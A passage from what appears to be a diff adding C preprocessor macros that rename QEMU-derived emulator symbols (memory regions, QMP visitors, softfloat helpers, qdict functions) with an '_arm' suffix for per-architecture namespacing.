helper_vfp_tosizs helper_vfp_tosizs_arm +#define helper_vfp_tosld helper_vfp_tosld_arm +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_arm +#define helper_vfp_tosls helper_vfp_tosls_arm +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_arm +#define helper_vfp_tosqd helper_vfp_tosqd_arm +#define helper_vfp_tosqs helper_vfp_tosqs_arm +#define helper_vfp_touhd helper_vfp_touhd_arm +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_arm +#define helper_vfp_touhs helper_vfp_touhs_arm +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_arm +#define helper_vfp_touid helper_vfp_touid_arm +#define helper_vfp_touis helper_vfp_touis_arm +#define helper_vfp_touizd helper_vfp_touizd_arm +#define helper_vfp_touizs helper_vfp_touizs_arm +#define helper_vfp_tould helper_vfp_tould_arm +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_arm +#define helper_vfp_touls helper_vfp_touls_arm +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_arm +#define helper_vfp_touqd helper_vfp_touqd_arm +#define helper_vfp_touqs helper_vfp_touqs_arm +#define helper_vfp_uhtod helper_vfp_uhtod_arm +#define helper_vfp_uhtos helper_vfp_uhtos_arm +#define helper_vfp_uitod helper_vfp_uitod_arm +#define helper_vfp_uitos helper_vfp_uitos_arm +#define helper_vfp_ultod helper_vfp_ultod_arm +#define helper_vfp_ultos helper_vfp_ultos_arm +#define helper_vfp_uqtod helper_vfp_uqtod_arm +#define helper_vfp_uqtos helper_vfp_uqtos_arm +#define helper_wfe helper_wfe_arm +#define helper_wfi helper_wfi_arm +#define hex2decimal hex2decimal_arm +#define hw_breakpoint_update hw_breakpoint_update_arm +#define hw_breakpoint_update_all hw_breakpoint_update_all_arm +#define hw_watchpoint_update hw_watchpoint_update_arm +#define hw_watchpoint_update_all hw_watchpoint_update_all_arm +#define _init _init_arm +#define init_cpreg_list init_cpreg_list_arm +#define init_lists init_lists_arm +#define input_type_enum input_type_enum_arm +#define int128_2_64 int128_2_64_arm +#define int128_add int128_add_arm +#define int128_addto int128_addto_arm +#define int128_and int128_and_arm +#define int128_eq int128_eq_arm +#define int128_ge int128_ge_arm +#define int128_get64 int128_get64_arm +#define int128_gt int128_gt_arm +#define int128_le int128_le_arm +#define int128_lt int128_lt_arm +#define int128_make64 int128_make64_arm +#define int128_max int128_max_arm +#define int128_min int128_min_arm +#define int128_ne int128_ne_arm +#define int128_neg int128_neg_arm +#define int128_nz int128_nz_arm +#define int128_rshift int128_rshift_arm +#define int128_sub int128_sub_arm +#define int128_subfrom int128_subfrom_arm +#define int128_zero int128_zero_arm +#define int16_to_float32 int16_to_float32_arm +#define int16_to_float64 int16_to_float64_arm +#define int32_to_float128 int32_to_float128_arm +#define int32_to_float32 int32_to_float32_arm +#define int32_to_float64 int32_to_float64_arm +#define int32_to_floatx80 int32_to_floatx80_arm +#define int64_to_float128 int64_to_float128_arm +#define int64_to_float32 int64_to_float32_arm +#define int64_to_float64 int64_to_float64_arm +#define int64_to_floatx80 int64_to_floatx80_arm +#define invalidate_and_set_dirty invalidate_and_set_dirty_arm +#define invalidate_page_bitmap invalidate_page_bitmap_arm +#define io_mem_read io_mem_read_arm +#define io_mem_write io_mem_write_arm +#define io_readb io_readb_arm +#define io_readl io_readl_arm +#define io_readq io_readq_arm +#define io_readw io_readw_arm +#define iotlb_to_region iotlb_to_region_arm +#define io_writeb io_writeb_arm +#define io_writel io_writel_arm +#define io_writeq io_writeq_arm +#define io_writew io_writew_arm +#define is_a64 is_a64_arm +#define is_help_option is_help_option_arm +#define isr_read isr_read_arm +#define is_valid_option_list is_valid_option_list_arm +#define iwmmxt_load_creg iwmmxt_load_creg_arm +#define iwmmxt_load_reg iwmmxt_load_reg_arm +#define iwmmxt_store_creg iwmmxt_store_creg_arm +#define iwmmxt_store_reg iwmmxt_store_reg_arm +#define __jit_debug_descriptor __jit_debug_descriptor_arm +#define __jit_debug_register_code __jit_debug_register_code_arm +#define kvm_to_cpreg_id kvm_to_cpreg_id_arm +#define last_ram_offset last_ram_offset_arm +#define ldl_be_p ldl_be_p_arm +#define ldl_be_phys ldl_be_phys_arm +#define ldl_he_p ldl_he_p_arm +#define ldl_le_p ldl_le_p_arm +#define ldl_le_phys ldl_le_phys_arm +#define ldl_phys ldl_phys_arm +#define ldl_phys_internal ldl_phys_internal_arm +#define ldq_be_p ldq_be_p_arm +#define ldq_be_phys ldq_be_phys_arm +#define ldq_he_p ldq_he_p_arm +#define ldq_le_p ldq_le_p_arm +#define ldq_le_phys ldq_le_phys_arm +#define ldq_phys ldq_phys_arm +#define ldq_phys_internal ldq_phys_internal_arm +#define ldst_name ldst_name_arm +#define ldub_p ldub_p_arm +#define ldub_phys ldub_phys_arm +#define lduw_be_p lduw_be_p_arm +#define lduw_be_phys lduw_be_phys_arm +#define lduw_he_p lduw_he_p_arm +#define lduw_le_p lduw_le_p_arm +#define lduw_le_phys lduw_le_phys_arm +#define lduw_phys lduw_phys_arm +#define lduw_phys_internal lduw_phys_internal_arm +#define le128 le128_arm +#define linked_bp_matches linked_bp_matches_arm +#define listener_add_address_space listener_add_address_space_arm +#define load_cpu_offset load_cpu_offset_arm +#define load_reg load_reg_arm +#define load_reg_var load_reg_var_arm +#define log_cpu_state log_cpu_state_arm +#define lpae_cp_reginfo lpae_cp_reginfo_arm +#define lt128 lt128_arm +#define machine_class_init machine_class_init_arm +#define machine_finalize machine_finalize_arm +#define machine_info machine_info_arm +#define machine_initfn machine_initfn_arm +#define machine_register_types machine_register_types_arm +#define machvirt_init machvirt_init_arm +#define machvirt_machine_init machvirt_machine_init_arm +#define maj maj_arm +#define mapping_conflict mapping_conflict_arm +#define mapping_contiguous mapping_contiguous_arm +#define mapping_have_same_region mapping_have_same_region_arm +#define mapping_merge mapping_merge_arm +#define mem_add mem_add_arm +#define mem_begin mem_begin_arm +#define mem_commit mem_commit_arm +#define memory_access_is_direct memory_access_is_direct_arm +#define memory_access_size memory_access_size_arm +#define memory_init memory_init_arm +#define memory_listener_match memory_listener_match_arm +#define memory_listener_register memory_listener_register_arm +#define memory_listener_unregister memory_listener_unregister_arm +#define memory_map_init memory_map_init_arm +#define memory_mapping_filter memory_mapping_filter_arm +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_arm +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_arm +#define memory_mapping_list_free memory_mapping_list_free_arm +#define memory_mapping_list_init memory_mapping_list_init_arm +#define memory_region_access_valid memory_region_access_valid_arm +#define memory_region_add_subregion memory_region_add_subregion_arm +#define memory_region_add_subregion_common memory_region_add_subregion_common_arm +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_arm +#define memory_region_big_endian memory_region_big_endian_arm +#define memory_region_clear_pending memory_region_clear_pending_arm +#define memory_region_del_subregion memory_region_del_subregion_arm +#define memory_region_destructor_alias memory_region_destructor_alias_arm +#define memory_region_destructor_none memory_region_destructor_none_arm +#define memory_region_destructor_ram memory_region_destructor_ram_arm +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_arm +#define memory_region_dispatch_read memory_region_dispatch_read_arm +#define memory_region_dispatch_read1 memory_region_dispatch_read1_arm +#define memory_region_dispatch_write memory_region_dispatch_write_arm +#define memory_region_escape_name memory_region_escape_name_arm +#define memory_region_finalize memory_region_finalize_arm +#define memory_region_find memory_region_find_arm +#define memory_region_get_addr memory_region_get_addr_arm +#define memory_region_get_alignment memory_region_get_alignment_arm +#define memory_region_get_container memory_region_get_container_arm +#define memory_region_get_fd memory_region_get_fd_arm +#define memory_region_get_may_overlap memory_region_get_may_overlap_arm +#define memory_region_get_priority memory_region_get_priority_arm +#define memory_region_get_ram_addr memory_region_get_ram_addr_arm +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_arm +#define memory_region_get_size memory_region_get_size_arm +#define memory_region_info memory_region_info_arm +#define memory_region_init memory_region_init_arm +#define memory_region_init_alias memory_region_init_alias_arm +#define memory_region_initfn memory_region_initfn_arm +#define memory_region_init_io memory_region_init_io_arm +#define memory_region_init_ram memory_region_init_ram_arm +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_arm +#define memory_region_init_reservation memory_region_init_reservation_arm +#define memory_region_is_iommu memory_region_is_iommu_arm +#define memory_region_is_logging memory_region_is_logging_arm +#define memory_region_is_mapped memory_region_is_mapped_arm +#define memory_region_is_ram memory_region_is_ram_arm +#define memory_region_is_rom memory_region_is_rom_arm +#define memory_region_is_romd memory_region_is_romd_arm +#define memory_region_is_skip_dump memory_region_is_skip_dump_arm +#define memory_region_is_unassigned memory_region_is_unassigned_arm +#define memory_region_name memory_region_name_arm +#define memory_region_need_escape memory_region_need_escape_arm +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_arm +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_arm +#define memory_region_present memory_region_present_arm +#define memory_region_read_accessor memory_region_read_accessor_arm +#define memory_region_readd_subregion memory_region_readd_subregion_arm +#define memory_region_ref memory_region_ref_arm +#define memory_region_resolve_container memory_region_resolve_container_arm +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_arm +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_arm +#define memory_region_set_address memory_region_set_address_arm +#define memory_region_set_alias_offset memory_region_set_alias_offset_arm +#define memory_region_set_enabled memory_region_set_enabled_arm +#define memory_region_set_readonly memory_region_set_readonly_arm +#define memory_region_set_skip_dump memory_region_set_skip_dump_arm +#define memory_region_size memory_region_size_arm +#define memory_region_to_address_space memory_region_to_address_space_arm +#define memory_region_transaction_begin memory_region_transaction_begin_arm +#define memory_region_transaction_commit memory_region_transaction_commit_arm +#define memory_region_unref memory_region_unref_arm +#define memory_region_update_container_subregions memory_region_update_container_subregions_arm +#define memory_region_write_accessor memory_region_write_accessor_arm +#define memory_region_wrong_endianness memory_region_wrong_endianness_arm +#define memory_try_enable_merging memory_try_enable_merging_arm +#define module_call_init module_call_init_arm +#define module_load module_load_arm +#define mpidr_cp_reginfo mpidr_cp_reginfo_arm +#define mpidr_read mpidr_read_arm +#define msr_mask msr_mask_arm +#define mul128By64To192 mul128By64To192_arm +#define mul128To256 mul128To256_arm +#define mul64To128 mul64To128_arm +#define muldiv64 muldiv64_arm +#define neon_2rm_is_float_op neon_2rm_is_float_op_arm +#define neon_2rm_sizes neon_2rm_sizes_arm +#define neon_3r_sizes neon_3r_sizes_arm +#define neon_get_scalar neon_get_scalar_arm +#define neon_load_reg neon_load_reg_arm +#define neon_load_reg64 neon_load_reg64_arm +#define neon_load_scratch neon_load_scratch_arm +#define neon_ls_element_type neon_ls_element_type_arm +#define neon_reg_offset neon_reg_offset_arm +#define neon_store_reg neon_store_reg_arm +#define neon_store_reg64 neon_store_reg64_arm +#define neon_store_scratch neon_store_scratch_arm +#define new_ldst_label new_ldst_label_arm +#define next_list next_list_arm +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_arm +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_arm +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_arm +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_arm +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_arm +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_arm +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_arm +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_arm +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_arm +#define not_v6_cp_reginfo not_v6_cp_reginfo_arm +#define not_v7_cp_reginfo not_v7_cp_reginfo_arm +#define not_v8_cp_reginfo not_v8_cp_reginfo_arm +#define object_child_foreach object_child_foreach_arm +#define object_class_foreach object_class_foreach_arm +#define object_class_foreach_tramp object_class_foreach_tramp_arm +#define object_class_get_list object_class_get_list_arm +#define object_class_get_list_tramp object_class_get_list_tramp_arm +#define object_class_get_parent object_class_get_parent_arm +#define object_deinit object_deinit_arm +#define object_dynamic_cast object_dynamic_cast_arm +#define object_finalize object_finalize_arm +#define object_finalize_child_property object_finalize_child_property_arm +#define object_get_child_property object_get_child_property_arm +#define object_get_link_property object_get_link_property_arm +#define object_get_root object_get_root_arm +#define object_initialize_with_type object_initialize_with_type_arm +#define object_init_with_type object_init_with_type_arm +#define object_instance_init object_instance_init_arm +#define object_new_with_type object_new_with_type_arm +#define object_post_init_with_type object_post_init_with_type_arm +#define object_property_add_alias object_property_add_alias_arm +#define object_property_add_link object_property_add_link_arm +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_arm +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_arm +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_arm +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_arm +#define object_property_allow_set_link object_property_allow_set_link_arm +#define object_property_del object_property_del_arm +#define object_property_del_all object_property_del_all_arm +#define object_property_find object_property_find_arm +#define object_property_get object_property_get_arm +#define object_property_get_bool object_property_get_bool_arm +#define object_property_get_int object_property_get_int_arm +#define object_property_get_link object_property_get_link_arm +#define object_property_get_qobject object_property_get_qobject_arm +#define object_property_get_str object_property_get_str_arm +#define object_property_get_type object_property_get_type_arm +#define object_property_is_child object_property_is_child_arm +#define object_property_set object_property_set_arm +#define object_property_set_description object_property_set_description_arm +#define object_property_set_link object_property_set_link_arm +#define object_property_set_qobject object_property_set_qobject_arm +#define object_release_link_property object_release_link_property_arm +#define object_resolve_abs_path object_resolve_abs_path_arm +#define object_resolve_child_property object_resolve_child_property_arm +#define object_resolve_link object_resolve_link_arm +#define object_resolve_link_property object_resolve_link_property_arm +#define object_resolve_partial_path object_resolve_partial_path_arm +#define object_resolve_path object_resolve_path_arm +#define object_resolve_path_component object_resolve_path_component_arm +#define object_resolve_path_type object_resolve_path_type_arm +#define object_set_link_property object_set_link_property_arm +#define object_unparent object_unparent_arm +#define omap_cachemaint_write omap_cachemaint_write_arm +#define omap_cp_reginfo omap_cp_reginfo_arm +#define omap_threadid_write omap_threadid_write_arm +#define omap_ticonfig_write omap_ticonfig_write_arm +#define omap_wfi_write omap_wfi_write_arm +#define op_bits op_bits_arm +#define open_modeflags open_modeflags_arm +#define op_to_mov op_to_mov_arm +#define op_to_movi op_to_movi_arm +#define output_type_enum output_type_enum_arm +#define packFloat128 packFloat128_arm +#define packFloat16 packFloat16_arm +#define packFloat32 packFloat32_arm +#define packFloat64 packFloat64_arm +#define packFloatx80 packFloatx80_arm +#define page_find page_find_arm +#define page_find_alloc page_find_alloc_arm +#define page_flush_tb page_flush_tb_arm +#define page_flush_tb_1 page_flush_tb_1_arm +#define page_init page_init_arm +#define page_size_init page_size_init_arm +#define par par_arm +#define parse_array parse_array_arm +#define parse_error parse_error_arm +#define parse_escape parse_escape_arm +#define parse_keyword parse_keyword_arm +#define parse_literal parse_literal_arm +#define parse_object parse_object_arm +#define parse_optional parse_optional_arm +#define parse_option_bool parse_option_bool_arm +#define parse_option_number parse_option_number_arm +#define parse_option_size parse_option_size_arm +#define parse_pair parse_pair_arm +#define parser_context_free parser_context_free_arm +#define parser_context_new parser_context_new_arm +#define parser_context_peek_token parser_context_peek_token_arm +#define parser_context_pop_token parser_context_pop_token_arm +#define parser_context_restore parser_context_restore_arm +#define parser_context_save parser_context_save_arm +#define parse_str parse_str_arm +#define parse_type_bool parse_type_bool_arm +#define parse_type_int parse_type_int_arm +#define parse_type_number parse_type_number_arm +#define parse_type_size parse_type_size_arm +#define parse_type_str parse_type_str_arm +#define parse_value parse_value_arm +#define par_write par_write_arm +#define patch_reloc patch_reloc_arm +#define phys_map_node_alloc phys_map_node_alloc_arm +#define phys_map_node_reserve phys_map_node_reserve_arm +#define phys_mem_alloc phys_mem_alloc_arm +#define phys_mem_set_alloc phys_mem_set_alloc_arm +#define phys_page_compact phys_page_compact_arm +#define phys_page_compact_all phys_page_compact_all_arm +#define phys_page_find phys_page_find_arm +#define phys_page_set phys_page_set_arm +#define phys_page_set_level phys_page_set_level_arm +#define phys_section_add phys_section_add_arm +#define phys_section_destroy phys_section_destroy_arm +#define phys_sections_free phys_sections_free_arm +#define pickNaN pickNaN_arm +#define pickNaNMulAdd pickNaNMulAdd_arm +#define pmccfiltr_write pmccfiltr_write_arm +#define pmccntr_read pmccntr_read_arm +#define pmccntr_sync pmccntr_sync_arm +#define pmccntr_write pmccntr_write_arm +#define pmccntr_write32 pmccntr_write32_arm +#define pmcntenclr_write pmcntenclr_write_arm +#define pmcntenset_write pmcntenset_write_arm +#define pmcr_write pmcr_write_arm +#define pmintenclr_write pmintenclr_write_arm +#define pmintenset_write pmintenset_write_arm +#define pmovsr_write pmovsr_write_arm +#define pmreg_access pmreg_access_arm +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_arm +#define pmsav5_data_ap_read pmsav5_data_ap_read_arm +#define pmsav5_data_ap_write pmsav5_data_ap_write_arm +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_arm +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_arm +#define pmuserenr_write pmuserenr_write_arm +#define pmxevtyper_write pmxevtyper_write_arm +#define print_type_bool print_type_bool_arm +#define print_type_int print_type_int_arm +#define print_type_number print_type_number_arm +#define print_type_size print_type_size_arm +#define print_type_str print_type_str_arm +#define propagateFloat128NaN propagateFloat128NaN_arm +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_arm +#define propagateFloat32NaN propagateFloat32NaN_arm +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_arm +#define propagateFloat64NaN propagateFloat64NaN_arm +#define propagateFloatx80NaN propagateFloatx80NaN_arm +#define property_get_alias property_get_alias_arm +#define property_get_bool property_get_bool_arm +#define property_get_str property_get_str_arm +#define property_get_uint16_ptr property_get_uint16_ptr_arm +#define property_get_uint32_ptr property_get_uint32_ptr_arm +#define property_get_uint64_ptr property_get_uint64_ptr_arm +#define property_get_uint8_ptr property_get_uint8_ptr_arm +#define property_release_alias property_release_alias_arm +#define property_release_bool property_release_bool_arm +#define property_release_str property_release_str_arm +#define property_resolve_alias property_resolve_alias_arm +#define property_set_alias property_set_alias_arm +#define property_set_bool property_set_bool_arm +#define property_set_str property_set_str_arm +#define pstate_read pstate_read_arm +#define pstate_write pstate_write_arm +#define pxa250_initfn pxa250_initfn_arm +#define pxa255_initfn pxa255_initfn_arm +#define pxa260_initfn pxa260_initfn_arm +#define pxa261_initfn pxa261_initfn_arm +#define pxa262_initfn pxa262_initfn_arm +#define pxa270a0_initfn pxa270a0_initfn_arm +#define pxa270a1_initfn pxa270a1_initfn_arm +#define pxa270b0_initfn pxa270b0_initfn_arm +#define pxa270b1_initfn pxa270b1_initfn_arm +#define pxa270c0_initfn pxa270c0_initfn_arm +#define pxa270c5_initfn pxa270c5_initfn_arm +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_arm +#define qapi_dealloc_end_list qapi_dealloc_end_list_arm +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_arm +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_arm +#define qapi_dealloc_next_list qapi_dealloc_next_list_arm +#define qapi_dealloc_pop qapi_dealloc_pop_arm +#define qapi_dealloc_push qapi_dealloc_push_arm +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_arm +#define qapi_dealloc_start_list qapi_dealloc_start_list_arm +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_arm +#define qapi_dealloc_start_union qapi_dealloc_start_union_arm +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_arm +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_arm +#define qapi_dealloc_type_int qapi_dealloc_type_int_arm +#define qapi_dealloc_type_number qapi_dealloc_type_number_arm +#define qapi_dealloc_type_size qapi_dealloc_type_size_arm +#define qapi_dealloc_type_str qapi_dealloc_type_str_arm +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_arm +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_arm +#define qapi_free_boolList qapi_free_boolList_arm +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_arm +#define qapi_free_int16List qapi_free_int16List_arm +#define qapi_free_int32List qapi_free_int32List_arm +#define qapi_free_int64List qapi_free_int64List_arm +#define qapi_free_int8List qapi_free_int8List_arm +#define qapi_free_intList qapi_free_intList_arm +#define qapi_free_numberList qapi_free_numberList_arm +#define qapi_free_strList qapi_free_strList_arm +#define qapi_free_uint16List qapi_free_uint16List_arm +#define qapi_free_uint32List qapi_free_uint32List_arm +#define qapi_free_uint64List qapi_free_uint64List_arm +#define qapi_free_uint8List qapi_free_uint8List_arm +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_arm +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_arm +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_arm +#define qbool_destroy_obj qbool_destroy_obj_arm +#define qbool_from_int qbool_from_int_arm +#define qbool_get_int qbool_get_int_arm +#define qbool_type qbool_type_arm +#define qbus_create qbus_create_arm +#define qbus_create_inplace qbus_create_inplace_arm +#define qbus_finalize qbus_finalize_arm +#define qbus_initfn qbus_initfn_arm +#define qbus_realize qbus_realize_arm +#define qdev_create qdev_create_arm +#define qdev_get_type qdev_get_type_arm +#define qdev_register_types qdev_register_types_arm +#define qdev_set_parent_bus qdev_set_parent_bus_arm +#define qdev_try_create qdev_try_create_arm +#define qdict_add_key qdict_add_key_arm +#define qdict_array_split qdict_array_split_arm +#define qdict_clone_shallow qdict_clone_shallow_arm +#define qdict_del qdict_del_arm +#define qdict_destroy_obj qdict_destroy_obj_arm +#define qdict_entry_key qdict_entry_key_arm +#define qdict_entry_value qdict_entry_value_arm +#define qdict_extract_subqdict qdict_extract_subqdict_arm +#define qdict_find qdict_find_arm +#define qdict_first qdict_first_arm +#define qdict_flatten qdict_flatten_arm +#define qdict_flatten_qdict qdict_flatten_qdict_arm +#define qdict_flatten_qlist qdict_flatten_qlist_arm +#define qdict_get qdict_get_arm +#define qdict_get_bool qdict_get_bool_arm +#define qdict_get_double qdict_get_double_arm +#define qdict_get_int qdict_get_int_arm +#define qdict_get_obj qdict_get_obj_arm +#define qdict_get_qdict qdict_get_qdict_arm +#define qdict_get_qlist qdict_get_qlist_arm +#define qdict_get_str qdict_get_str_arm +#define qdict_get_try_bool qdict_get_try_bool_arm +#define qdict_get_try_int qdict_get_try_int_arm +#define qdict_get_try_str qdict_get_try_str_arm +#define qdict_haskey qdict_haskey_arm +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_arm +#define qdict_iter qdict_iter_arm +#define qdict_join qdict_join_arm +#define qdict_new qdict_new_arm +#define qdict_next qdict_next_arm +#define qdict_next_entry qdict_next_entry_arm +#define qdict_put_obj qdict_put_obj_arm +#define qdict_size qdict_size_arm +#define qdict_type qdict_type_arm +#define qemu_clock_get_us qemu_clock_get_us_arm +#define qemu_clock_ptr qemu_clock_ptr_arm +#define qemu_clocks qemu_clocks_arm +#define qemu_get_cpu qemu_get_cpu_arm +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_arm +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_arm +#define qemu_get_ram_block qemu_get_ram_block_arm +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_arm +#define qemu_get_ram_fd qemu_get_ram_fd_arm +#define qemu_get_ram_ptr qemu_get_ram_ptr_arm +#define qemu_host_page_mask qemu_host_page_mask_arm +#define qemu_host_page_size qemu_host_page_size_arm +#define qemu_init_vcpu qemu_init_vcpu_arm +#define qemu_ld_helpers qemu_ld_helpers_arm +#define qemu_log_close qemu_log_close_arm +#define qemu_log_enabled qemu_log_enabled_arm +#define qemu_log_flush qemu_log_flush_arm +#define qemu_loglevel_mask qemu_loglevel_mask_arm +#define qemu_log_vprintf qemu_log_vprintf_arm +#define qemu_oom_check qemu_oom_check_arm +#define qemu_parse_fd qemu_parse_fd_arm +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_arm +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_arm +#define qemu_ram_alloc qemu_ram_alloc_arm +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_arm +#define qemu_ram_foreach_block qemu_ram_foreach_block_arm +#define qemu_ram_free qemu_ram_free_arm +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_arm +#define qemu_ram_ptr_length qemu_ram_ptr_length_arm +#define qemu_ram_remap qemu_ram_remap_arm +#define qemu_ram_setup_dump qemu_ram_setup_dump_arm +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_arm +#define qemu_real_host_page_size qemu_real_host_page_size_arm +#define qemu_st_helpers qemu_st_helpers_arm +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_arm +#define qemu_try_memalign qemu_try_memalign_arm +#define qentry_destroy qentry_destroy_arm +#define qerror_human qerror_human_arm +#define qerror_report qerror_report_arm +#define qerror_report_err qerror_report_err_arm +#define qfloat_destroy_obj qfloat_destroy_obj_arm +#define qfloat_from_double qfloat_from_double_arm +#define qfloat_get_double qfloat_get_double_arm +#define qfloat_type qfloat_type_arm +#define qint_destroy_obj qint_destroy_obj_arm +#define qint_from_int qint_from_int_arm +#define qint_get_int qint_get_int_arm +#define qint_type qint_type_arm +#define qlist_append_obj qlist_append_obj_arm +#define qlist_copy qlist_copy_arm +#define qlist_copy_elem qlist_copy_elem_arm +#define qlist_destroy_obj qlist_destroy_obj_arm +#define qlist_empty qlist_empty_arm +#define qlist_entry_obj qlist_entry_obj_arm +#define qlist_first qlist_first_arm +#define qlist_iter qlist_iter_arm +#define qlist_new qlist_new_arm +#define qlist_next qlist_next_arm +#define qlist_peek qlist_peek_arm +#define qlist_pop qlist_pop_arm +#define qlist_size qlist_size_arm +#define qlist_size_iter qlist_size_iter_arm +#define qlist_type qlist_type_arm +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_arm +#define qmp_input_end_list qmp_input_end_list_arm +#define qmp_input_end_struct qmp_input_end_struct_arm +#define qmp_input_get_next_type qmp_input_get_next_type_arm +#define qmp_input_get_object qmp_input_get_object_arm +#define qmp_input_get_visitor qmp_input_get_visitor_arm +#define qmp_input_next_list qmp_input_next_list_arm +#define qmp_input_optional qmp_input_optional_arm +#define qmp_input_pop qmp_input_pop_arm +#define qmp_input_push qmp_input_push_arm +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_arm +#define qmp_input_start_list qmp_input_start_list_arm +#define qmp_input_start_struct qmp_input_start_struct_arm +#define qmp_input_type_bool qmp_input_type_bool_arm +#define qmp_input_type_int qmp_input_type_int_arm +#define qmp_input_type_number qmp_input_type_number_arm +#define qmp_input_type_str qmp_input_type_str_arm +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_arm +#define qmp_input_visitor_new qmp_input_visitor_new_arm +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_arm +#define qmp_output_add_obj qmp_output_add_obj_arm +#define qmp_output_end_list qmp_output_end_list_arm +#define qmp_output_end_struct qmp_output_end_struct_arm +#define qmp_output_first qmp_output_first_arm +#define qmp_output_get_qobject qmp_output_get_qobject_arm +#define qmp_output_get_visitor qmp_output_get_visitor_arm +#define qmp_output_last qmp_output_last_arm +#define qmp_output_next_list qmp_output_next_list_arm +#define qmp_output_pop qmp_output_pop_arm +#define qmp_output_push_obj qmp_output_push_obj_arm +#define qmp_output_start_list qmp_output_start_list_arm +#define qmp_output_start_struct qmp_output_start_struct_arm +#define qmp_output_type_bool qmp_output_type_bool_arm +#define qmp_output_type_int qmp_output_type_int_arm +#define qmp_output_type_number qmp_output_type_number_arm +#define qmp_output_type_str qmp_output_type_str_arm +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_arm +#define qmp_output_visitor_new qmp_output_visitor_new_arm +#define qobject_decref qobject_decref_arm +#define qobject_to_qbool qobject_to_qbool_arm +#define qobject_to_qdict qobject_to_qdict_arm +#define qobject_to_qfloat qobject_to_qfloat_arm +#define qobject_to_qint qobject_to_qint_arm +#define qobject_to_qlist qobject_to_qlist_arm +#define qobject_to_qstring qobject_to_qstring_arm +#define qobject_type qobject_type_arm +#define qstring_append qstring_append_arm +#define qstring_append_chr qstring_append_chr_arm +#define qstring_append_int qstring_append_int_arm +#define qstring_destroy_obj qstring_destroy_obj_arm +#define qstring_from_escaped_str qstring_from_escaped_str_arm +#define qstring_from_str qstring_from_str_arm +#define qstring_from_substr qstring_from_substr_arm +#define qstring_get_length qstring_get_length_arm +#define qstring_get_str qstring_get_str_arm +#define qstring_new qstring_new_arm +#define qstring_type qstring_type_arm +#define ram_block_add ram_block_add_arm +#define ram_size ram_size_arm +#define range_compare range_compare_arm +#define range_covers_byte range_covers_byte_arm +#define range_get_last range_get_last_arm +#define range_merge range_merge_arm +#define ranges_can_merge ranges_can_merge_arm +#define raw_read raw_read_arm +#define raw_write raw_write_arm +#define rcon rcon_arm +#define read_raw_cp_reg read_raw_cp_reg_arm +#define recip_estimate recip_estimate_arm +#define recip_sqrt_estimate recip_sqrt_estimate_arm +#define register_cp_regs_for_features register_cp_regs_for_features_arm +#define register_multipage register_multipage_arm +#define register_subpage register_subpage_arm +#define register_tm_clones register_tm_clones_arm +#define register_types_object register_types_object_arm +#define regnames regnames_arm +#define render_memory_region render_memory_region_arm +#define reset_all_temps reset_all_temps_arm +#define reset_temp reset_temp_arm +#define rol32 rol32_arm +#define rol64 rol64_arm +#define ror32 ror32_arm +#define ror64 ror64_arm 